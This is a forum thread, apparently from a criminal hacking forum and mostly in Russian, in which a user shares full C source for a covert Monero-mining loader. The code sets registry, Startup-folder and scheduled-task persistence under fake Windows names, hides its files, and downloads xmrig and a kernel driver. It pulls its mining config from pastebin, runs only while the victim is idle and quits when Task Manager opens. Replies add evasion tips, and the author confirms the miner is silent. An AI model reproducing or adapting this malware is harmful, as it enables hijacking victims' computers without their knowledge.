• XSS.stack #1 – первый литературный журнал от юзеров форума

Мой загрузчик для майнера, версия C++, по большей части, C.

Думаю, надо модульно сделать. Бот на C#, для веба в винде ничего лучше нет (имхо), а он уж будет устанавливать и запускать то, что нужно: кейлогер на C, руткит на C/asm, вирус-копирователь на C, стилер на Python (например), сервис на C и т.д. И вот их уже без CRT и SEH делать. Вебпанель на Go или вообще без нее. Бот будет только скачивать, запускать, убивать и удалять.
 
Последнее редактирование:
[QUOTE = "Marinad, post: 232782, member: 195938"]
I think it should be done modularly. A bot in C #, nothing is better for the web in Windows (IMHO), and it will install and run what it needs: a keylogger in C, a rootkit in C / asm, a virus-copy machine in C, a styler in Python (for example), C service, etc. And now they are already without CRT and SEH to do. Webpanel on Go or without it at all. The bot will only download, run, kill and delete.
[/ QUOTE]
A.
Just code everything in C/C++, dont be fancy in asm or c#
 
[QUOTE = "Marinad, post: 232700, member: 195938"]
NtQueryInformationProcess is already deprecated, it seems.
[/ QUOTE]

This is wrong, it's not deprecated and you can always use it in any updated windows version, if you judge it because you see Microsoft wrote '[ NtQueryInformationProcess may be altered or unavailable in future versions of Windows. 'then you need to know that MS is writing that on each NT function, just to tell the normal developer to code their program using safe winapi.
 
CRT почти выпилен. Остался ZeroMemory. Пока не могу найти замену.
Усилена привязка к жертве, код переделан под TCHAR.

C:
#include <windows.h>
#include <urlmon.h>
#include <tlhelp32.h>
#include "shlobj.h"
#include "Shlwapi.h"

TCHAR pszIP[128] = { 0 };
TCHAR pszPasteB[MAX_PATH] = { 0 };

//Control how program exits
BOOL ControlHandler(DWORD dwControlEvent)
{
    switch (dwControlEvent)
    {
        // User wants to shutdown
    case CTRL_SHUTDOWN_EVENT:
        return FALSE;

        // User wants to logoff
    case CTRL_LOGOFF_EVENT:
        return FALSE;

        // Ctrl + C
    case CTRL_C_EVENT:
        return TRUE;

        // User wants to exit the "normal" way
    case CTRL_CLOSE_EVENT:
        return TRUE;

        // Everything else, just ignore it...
    default:
        return FALSE;
    }
}

/*
//decrypt xor string
void encryptDecrypt(char* input, char* output) {
    char key[] = { 'k', 'e', 'y' };

    unsigned int i;
    for (i = 0; i < strlen(input); i++) {
        output[i] = input[i] ^ key[i % (sizeof(key) / sizeof(char))];
    }
}
*/

//Check if file exists
BOOL FileExists(const TCHAR* pszPath)
{
    DWORD dwAttrib = GetFileAttributes(pszPath);

    return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
        !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

//Start m process
DWORD StartM(TCHAR* pszArgs, const TCHAR* pszSelfDir)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    TCHAR pszHelper[MAX_PATH] = { 0 };
    TCHAR pszDest[30] = { 0 };

    PathCombine(pszHelper, pszSelfDir, TEXT("helper.exe"));

    if (FileExists(pszHelper))
    {
        SecureZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        SecureZeroMemory(&pi, sizeof(pi));

        // Start m process
        if (!CreateProcess(pszHelper, pszArgs, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
        {
            wsprintf(pszDest, TEXT("M process starting failed (%d).\n"), GetLastError());
            OutputDebugString(pszDest);
            return 0;
        }
        else
        {
            wsprintf(pszDest, TEXT("Process ID = %d started.\n"), pi.dwProcessId);
            OutputDebugString(pszDest);

            //wsprintf(pszDest, TEXT("Command line: %s.\n"), pszArgs);
            //OutputDebugString(pszDest);
        }

        // Close process and thread handles.
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        return pi.dwProcessId;
    }
    else
        return 0;
}

//Kill process with given pid
BOOL KillProcess(DWORD dwPID)
{
    DWORD dwDesiredAccess = PROCESS_TERMINATE;
    BOOL  bInheritHandle = FALSE;
    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwPID);
    if (hProcess == NULL)
        return FALSE;

    BOOL bResult = TerminateProcess(hProcess, 0);

    CloseHandle(hProcess);

    return bResult;
}

//stop m process
BOOL StopM(DWORD dwPID)
{
    TCHAR pszDest[30] = { 0 };

    if (dwPID > 0)
    {
        KillProcess(dwPID);
        wsprintf(pszDest, TEXT("Process ID = %d stopped.\n"), dwPID);
        OutputDebugString(pszDest);
        return TRUE;
    }
    else
        return FALSE;
}

//Delete task in task scheduler
void DeleteTask()
{
    TCHAR pszDest[60] = { 0 };

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    //Maybe it can be better: "C:\\Windows\\System32\\schtasks.exe" "/delete / tn \"Windows\\Windows Support\", but it does not work on my system
    wsprintf(pszDest, TEXT("%s"), TEXT("cmd /c schtasks /delete / tn \"Windows\\Windows Support\" / f"));

    SecureZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    SecureZeroMemory(&pi, sizeof(pi));

    if (!CreateProcess(NULL, pszDest, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
    {
        wsprintf(pszDest, TEXT("Scheduler task creation failed (%d).\n"), GetLastError());
        OutputDebugString(pszDest);
    }
    else
    {
        wsprintf(pszDest, TEXT("%s"), TEXT("Scheduler task successfully deleted.\n"));
        OutputDebugString(pszDest);
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

//Create task in task scheduler
void CreateTask(const TCHAR* pszExePath)
{
    TCHAR pszCmdLine[512] = { 0 };
    TCHAR pszDest[60] = { 0 };
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    wsprintf(pszCmdLine, TEXT("cmd /c schtasks /create /sc MINUTE /mo 5 /tn \"Windows\\Windows Helper\" /tr \"%s\" /f"), pszExePath);
    OutputDebugString(pszCmdLine);

    SecureZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    SecureZeroMemory(&pi, sizeof(pi));

    //DeleteTask();

    if (!CreateProcess(NULL, pszCmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
    {
        wsprintf(pszDest, TEXT("Scheduler task creation failed (%d).\n"), GetLastError());
        OutputDebugString(pszDest);
    }
    else
    {
        OutputDebugString(TEXT("Scheduler task successfully created.\n"));
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

//Download m from internet
void DownloadHelperFromURL(const TCHAR* pszUrl, const TCHAR* pszSelfDir)
{
    TCHAR pszHelper[MAX_PATH] = { 0 };
    TCHAR pszDest[30] = { 0 };
    size_t cchDest = 30;

    PathCombine(pszHelper, pszSelfDir, TEXT("helper.exe"));

    if (!FileExists(pszHelper))
    {
        if (URLDownloadToFile(0, pszUrl, pszHelper, 0, 0) == S_OK)
        {
            OutputDebugString(TEXT("Helper was downloaded."));
        }
    }
}

//Download driver from internet
void DownloadWinsysFromURL(const TCHAR* pszUrl, const TCHAR* pszSelfDir)
{
    TCHAR pszDriver[MAX_PATH] = { 0 };
    TCHAR pszDest[30] = { 0 };
    size_t cchDest = 30;

    PathCombine(pszDriver, pszSelfDir, TEXT("WinRing0x64.sys"));

    if (!FileExists(pszDriver))
    {
        if (URLDownloadToFile(0, pszUrl, pszDriver, 0, 0) == S_OK)
        {
            OutputDebugString(TEXT("Driver was downloaded."));
        }
    }
}

TCHAR* strtok1(TCHAR* str, const TCHAR* delimiters)
{
    int i = 0;
    int len = lstrlen(delimiters);
    TCHAR* sp = NULL; /* the start position of the string */

    /* check in the delimiters */
    if (len == 0)
        OutputDebugString(TEXT("delimiters are empty\n"));

    /* if the original string has nothing left */
    if (!str && !sp)
        return NULL;

    /* initialize the sp during the first call */
    if (str && !sp)
        sp = str;

    /* find the start of the substring, skip delimiters */
    TCHAR* p_start = sp;
    while (true) {
        for (i = 0; i < len; i++) {
            if (*p_start == delimiters[i]) {
                p_start++;
                break;
            }
        }

        if (i == len) {
            sp = p_start;
            break;
        }
    }

    /* return NULL if nothing left */
    if (*sp == '\0') {
        sp = NULL;
        return sp;
    }

    /* find the end of the substring, and
        replace the delimiter with null */
    while (*sp != '\0') {
        for (i = 0; i < len; i++) {
            if (*sp == delimiters[i]) {
                *sp = '\0';
                break;
            }
        }

        sp++;
        if (i < len)
            break;
    }

    return p_start;
}

void ReadIPFromFile(const TCHAR* pszFilename)
{
    char buffer[128] = { 0 };
    TCHAR* pszToken = NULL;
    DWORD bytesRead;

    HANDLE fh = CreateFile(pszFilename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (fh != INVALID_HANDLE_VALUE)
    {
        //OutputDebugString(TEXT("File opened for reading!\n"));
    }
    else
    {
        //OutputDebugString(TEXT("File not opened for reading!\n"));
        //exit(EXIT_FAILURE);
    }

    if (ReadFile(fh, buffer, sizeof(buffer), &bytesRead, NULL))
    {
        //Only for unicode
        //OutputDebugStringA(buffer);
        if (MultiByteToWideChar(CP_UTF8, 0, buffer, lstrlenA(buffer) + 1, pszIP, _countof(pszIP)) != 0)
        {
            pszToken = StrChr(pszIP, ':');
            pszToken = strtok1(pszToken, TEXT("<"));
            StrCpy(pszIP, pszToken + 2);
            //OutputDebugString(pszIP);
        }
    }

    if (CloseHandle(fh))
    {
        //OutputDebugString(TEXT("File closed.\n"));
    }
    else
    {
        //OutputDebugString(TEXT("File not closed.\n"));
    }
}

void ReadPasteBFromFile(const TCHAR* pszFilename)
{
    char buffer[MAX_PATH] = { 0 };
    TCHAR* pszToken = NULL;
    TCHAR* pszContext = NULL;
    DWORD bytesRead;

    HANDLE fh = CreateFile(pszFilename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (fh != INVALID_HANDLE_VALUE)
    {
        //OutputDebugString(TEXT("File opened for reading!\n"));
    }
    else
    {
        //OutputDebugString(TEXT("File not opened for reading!\n"));
        //exit(EXIT_FAILURE);
    }

    if (ReadFile(fh, buffer, sizeof(buffer), &bytesRead, NULL))
    {
        //Only for unicode
        //OutputDebugStringA(buffer);
        MultiByteToWideChar(CP_UTF8, 0, buffer, lstrlenA(buffer) + 1, pszPasteB, _countof(pszPasteB));

        if (lstrlen(pszIP) > 0)
        {
            StrCat(pszPasteB, pszIP);
        }

        //OutputDebugString(pszPasteB);
    }

    if (CloseHandle(fh))
    {
        //OutputDebugString(TEXT("File closed.\n"));
    }
    else
    {
        //OutputDebugString(TEXT("File not closed.\n"));
    }
}

//Get public ip and raw pastebin
void GetRawDataFromURL(const TCHAR* pszPasteBDefault, const TCHAR* pszUrl)
{
    TCHAR pszTempPath[MAX_PATH] = { 0 };

    //Get public ip address
    if (GetTempPath(MAX_PATH, pszTempPath))
    {
        PathAppend(pszTempPath, TEXT("ip"));

        if (URLDownloadToFile(0, TEXT("http://checkip.dyndns.org/"), pszTempPath, 0, 0) == S_OK)
        {
            ReadIPFromFile(pszTempPath);
        }
    }

    //Get pastebin raw string
    if (URLDownloadToFile(0, pszUrl, pszTempPath, 0, 0) == S_OK)
    {
        ReadPasteBFromFile(pszTempPath);
    }

    if (FileExists(pszTempPath))
    {
        DeleteFile(pszTempPath);
    }

    if (lstrlen(pszPasteB) == 0)
    {
        StrCpy(pszPasteB, pszPasteBDefault);

        if (lstrlen(pszIP) > 0)
        {
            StrCat(pszPasteB, pszIP);
        }
    }

    OutputDebugString(pszPasteB);
}


//Create registry autorun
void CreateAutorun(const TCHAR* pszRegPath, const TCHAR* pszExePath)
{
    HKEY hKey;
    DWORD dwCount = 0;
    const TCHAR* pszStartName = TEXT("Windows Helper");
    TCHAR pszDest[60] = { 0 };
    size_t cchDest = 60;

    LSTATUS lnRes = RegOpenKeyEx(HKEY_CURRENT_USER, pszRegPath, 0, KEY_WRITE, &hKey);
    if (ERROR_SUCCESS == lnRes)
    {
        dwCount = (DWORD)((lstrlen(pszExePath) + 1) * sizeof(TCHAR));
        lnRes = RegSetValueEx(hKey, pszStartName, 0, REG_SZ, (LPBYTE)pszExePath, dwCount);
        if (lnRes == ERROR_SUCCESS)
        {
            OutputDebugString(TEXT("Registry record successfully created.\n"));
        }
        else
        {
            OutputDebugString(TEXT("\nCould not change registry record.\n"));
        }
    }
    else
    {
        OutputDebugString(TEXT("\nCould not open registry record."));
    }

    RegCloseKey(hKey);
}

//Check user idle time
DWORD GetIdleTime()
{
    LASTINPUTINFO last_input;
    last_input.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&last_input);
    ULONGLONG time_elapsed = GetTickCount64();
    return (DWORD)((time_elapsed - last_input.dwTime) / 1000);
}

//Find process by id
DWORD FindProcessId(const TCHAR* pszProcName)
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD dwResult = NULL;
    TCHAR pszDest[60] = { 0 };

    // Take a snapshot of all processes in the system.
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap) return(FALSE);

    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Retrieve information about the first process,
    // and exit if unsuccessful
    if (!Process32First(hProcessSnap, &pe32))
    {
        CloseHandle(hProcessSnap);          // clean the snapshot object
        wsprintf(pszDest, TEXT("Failed to gather information on system processes! %d\n"), GetLastError());
        OutputDebugString(pszDest);
        return NULL;
    }

    do
    {
        if (0 == lstrcmpi(pszProcName, pe32.szExeFile))
        {
            dwResult = pe32.th32ProcessID;
            break;
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);

    return dwResult;
}


//copy file to ProgramData
void CopyAppFileToProgramData(const TCHAR* pszExePath)
{
    TCHAR pszNewPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_COMMON_APPDATA, NULL, 0, pszNewPath)))
    {
        PathAppend(pszNewPath, TEXT("Windows"));

        if (CreateDirectory(pszNewPath, NULL) || ERROR_ALREADY_EXISTS == GetLastError())
        {
            PathAppend(pszNewPath, TEXT("connhost.exe"));
            CreateAutorun(TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"), pszNewPath);

            if (CopyFile(pszExePath, pszNewPath, TRUE))
            {
                OutputDebugString(TEXT("Application file was copied.\n"));
            }
        }
    }
}


//copy file to Startup folder
void CopyAppFileToStartup(const TCHAR* pszExePath)
{
    TCHAR pszNewPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_STARTUP, NULL, 0, pszNewPath)))
    {
        PathAppend(pszNewPath, TEXT("connhost.exe"));

        if (CopyFile(pszExePath, pszNewPath, TRUE))
        {
            OutputDebugString(TEXT("Application file was copied.\n"));
        }
    }
}

//Main function, entry point
INT __stdcall WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ PSTR lpCmdLine, _In_ INT nCmdShow)
{
    TCHAR pszExePath[MAX_PATH] = { 0 };
    TCHAR pszSelfDir[MAX_PATH] = { 0 };
    TCHAR pszDest[60];
    const TCHAR* pszMutex = TEXT("Local\\Minerloader");
    DWORD dwIdleTimer = 60; //seconds
    DWORD dwPID = 0;
    DWORD dwHelperPID = 0;
    DWORD dwSleepTimeOut = 1000; //milliseconds
    DWORD dwAttr = 0;
    bool bRunning = false;

    SetConsoleCtrlHandler((PHANDLER_ROUTINE)ControlHandler, TRUE);

    CreateMutex(0, FALSE, pszMutex); // try to create a named mutex
    if (GetLastError() == ERROR_ALREADY_EXISTS) // did the mutex already exist?
        return -1; // quit; mutex is released automatically

    if (dwHelperPID = FindProcessId(TEXT("helper.exe")))
    {
        KillProcess(dwHelperPID);
        wsprintf(pszDest, TEXT("Helper process %d was killed."), dwHelperPID);
        OutputDebugString(pszDest);
    }

    if (GetModuleFileName(NULL, pszExePath, MAX_PATH))
    {
        CreateAutorun(TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), pszExePath);
        CopyAppFileToProgramData(pszExePath);
        CopyAppFileToStartup(pszExePath);

        StrCpy(pszSelfDir, pszExePath);
        PathRemoveFileSpec(pszSelfDir);
        dwAttr = GetFileAttributes(pszSelfDir);
        if ((dwAttr & FILE_ATTRIBUTE_HIDDEN) == 0)
        {
            SetFileAttributes(pszSelfDir, dwAttr + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
        }

        DownloadHelperFromURL(TEXT("xxx"), pszSelfDir);
        DownloadWinsysFromURL(TEXT("xxx"), pszSelfDir);
    }

    GetRawDataFromURL(TEXT("--donate-level=1 -o pool.supportxmr.com:443 -u xxx -k --tls -p O-"), TEXT("https://pastebin.com/raw/xxx"));

    CreateTask(pszExePath);

    //main cycle
    for (;;)
    {
        Sleep(dwSleepTimeOut);//check each n milliseconds

        if (FindProcessId(TEXT("taskmgr.exe")) > 0)
        {
            if (dwPID > 0)
            {
                StopM(dwPID);
            }
            OutputDebugString(TEXT("Task manager detected. Program must exit.\n"));
            return 0;
        }

        if (GetIdleTime() >= dwIdleTimer && !bRunning)
        {
            OutputDebugString(TEXT("System is idle.\n"));
            dwPID = StartM(pszPasteB, pszSelfDir);
            bRunning = true;
        }

        if (GetIdleTime() < dwIdleTimer && bRunning)
        {
            OutputDebugString(TEXT("System no longer idle.\n"));
            StopM(dwPID);
            bRunning = false;
        }
    }

    return 0;
}
 
все нужные либы можно подгружать в рантайме - LoadLibrary + GetProcAddress. почитай маны по типу shellcode writing tutorial - сразу получишь небольшой level up ;)

Остался ZeroMemory
вообще, нет ничего зазорного в том, чтобы найти по хэшу адрес RtlZeroMemory. тем более, что ntdll гарантировано будет в твоём процессе. ну или:
C:
char *dst = (char *)addr;
дальше чтение/запись по адресу - что захочешь, если права позволяют. вот тебе и замена.
 
все нужные либы можно подгружать в рантайме - LoadLibrary + GetProcAddress. почитай маны по типу shellcode writing tutorial - сразу получишь небольшой level up ;)
вообще, нет ничего зазорного в том, чтобы найти по хэшу адрес RtlZeroMemory. тем более, что ntdll гарантировано будет в твоём процессе. ну или:
C:
char *dst = (char *)addr;
дальше чтение/запись по адресу - что захочешь, если права позволяют. вот тебе и замена.
Про LoadLibrary знаю, но memset надо грузить из msvcrt.dll, да?
 
ничего не надо грузить.
C:
memset(addr, 'x', 100);
равносильно
C:
char *dst = (char *)addr;
for (int i = 0; i < 100; i++)
{
  *(dst++) = 'x';
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
но memset надо грузить из msvcrt.dll, да?
Можно, но лучше из ntdll.
Но зачем он тебе, замени на rep stosb какой-то.
 
thank you brother i see it in github
can make him work silent ?
Yes, it is silent. You will need to rename xmrig.exe to helper.exe and put it in the same folder with this executable file. And you will need to add your xmrig configuration string to the source code.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх